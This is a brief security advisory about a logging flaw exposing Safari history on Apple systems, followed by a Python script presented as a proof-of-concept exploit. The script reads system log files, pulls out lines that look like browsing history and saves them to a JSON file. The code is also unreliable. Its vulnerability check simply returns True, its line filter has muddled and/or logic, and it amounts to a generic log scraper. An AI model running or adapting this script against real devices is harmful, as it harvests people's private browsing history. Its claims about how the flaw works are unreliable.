A logging issue was addressed with improved data redaction. This issue is fixed in iOS 26.2 and iPadOS 26.2, macOS Tahoe 26.2, watchOS 26.2. An app may be able to access a user’s Safari history.
The following code is for security research and authorized testing only.
python
# CVE-2025-46277 PoC - Safari History Access via Log Files
# This PoC demonstrates the vulnerability where an app can access
# user's Safari history through unredacted system logs
import os
import sys
import json
from datetime import datetime
def check_vulnerable_version():
"""Check if current system version is vulnerable"""
# Simulated version check
vulnerable_versions = {
'iOS': ['< 26.2'],
'iPadOS': ['< 26.2'],
'macOS': ['< 26.2'],
'watchOS': ['< 26.2']
}
return True # Assume vulnerable for demonstration
def read_safari_logs():
"""
Read Safari-related logs from system log directory
In vulnerable versions, logs contain unredacted browsing history
"""
log_paths = [
'/var/log/system.log',
'~/Library/Logs/CoreSimulation/Safari',
'/private/var/log/asl/Safari.asl'
]
extracted_history = []
for log_path in log_paths:
expanded_path = os.path.expanduser(log_path)
if os.path.exists(expanded_path):
try:
with open(expanded_path, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
# Look for Safari history patterns in logs
if 'Safari' in line and 'URL' in line or 'history' in line.lower():
# Extract potential history entries
if 'http' in line or 'www.' in line:
extracted_history.append({
'timestamp': datetime.now().isoformat(),
'source': log_path,
'data': line.strip()
})
except PermissionError:
print(f"[-] Permission denied: {log_path}")
except Exception as e:
print(f"[-] Error reading {log_path}: {e}")
return extracted_history
def exploit_cve_2025_46277():
"""
Main exploitation function for CVE-2025-46277
Demonstrates accessing Safari history through unredacted logs
"""
print("[*] CVE-2025-46277 PoC - Safari History Access via Logs")
print("[*] Target: Apple iOS/macOS/iPadOS/watchOS < 26.2")
print("-" * 60)
if not check_vulnerable_version():
print("[+] System appears to be patched")
return None
print("[*] Attempting to read Safari-related system logs...")
history_data = read_safari_logs()
if history_data:
print(f"[+] Successfully extracted {len(history_data)} history entries")
print("\n[+] Sample extracted data:")
for entry in history_data[:5]:
print(f" - {entry['data']}")
# Save extracted data
output_file = 'extracted_safari_history.json'
with open(output_file, 'w') as f:
json.dump(history_data, f, indent=2)
print(f"\n[+] Data saved to: {output_file}")
return history_data
else:
print("[-] No Safari history data found in logs")
return None
if __name__ == '__main__':
exploit_cve_2025_46277()